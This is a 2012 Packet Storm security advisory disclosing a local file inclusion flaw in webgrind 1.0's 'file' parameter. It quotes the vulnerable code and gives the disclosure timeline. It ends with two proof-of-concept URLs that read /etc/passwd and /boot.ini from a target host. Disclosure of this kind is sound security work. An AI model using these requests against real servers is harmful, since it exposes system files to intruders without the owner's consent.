webgrind 1.0 Local File Inclusion

2012-02-25T00:00:00
ID PACKETSTORM:110216
Type packetstorm
Reporter LiquidWorm
Modified 2012-02-25T00:00:00

Description

                                        
                                            `  
webgrind 1.0 (file param) Local File Inclusion Vulnerability  
  
  
Vendor: Joakim Nygard and Jacob Oettinger  
Product web page: http://code.google.com/p/webgrind  
Affected version: 1.0 (v1.02 in trunk on github)  
  
Summary: Webgrind is an Xdebug profiling web frontend in PHP5.  
  
Desc: webgrind suffers from a file inlcusion vulnerability (LFI)  
when input passed thru the 'file' parameter to index.php is not  
properly verified before being used to include files. This can be  
exploited to include files from local resources with directory  
traversal attacks and URL encoded NULL bytes.  
  
----------------------------------------  
/index.php:  
-----------  
  
122: case 'fileviewer':  
123: $file = get('file');  
124: $line = get('line');  
  
----------------------------------------  
  
Tested on: Microsoft Windows XP Professional SP3 (EN)  
Apache 2.2.21  
PHP 5.3.9  
MySQL 5.5.20  
  
  
Vulnerability discovered by Michael Meyer  
michael.meyer greenbone net  
  
  
Vendor status:  
  
[22.02.2012] Vulnerability discovered.  
[22.02.2012] Vendor notified.  
[24.02.2012] No response from the vendor.  
[25.02.2012] Public security advisory released.  
  
  
Advisory ID: ZSL-2012-5075  
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5075.php  
  
Vendor: http://code.google.com/p/webgrind/issues/detail?id=66  
  
  
22.02.2012  
  
---  
  
  
http://<host>/webgrind/index.php?file=/etc/passwd&op=fileviewer  
http://<host>/webgrind/index.php?file=/boot.ini&op=fileviewer  
`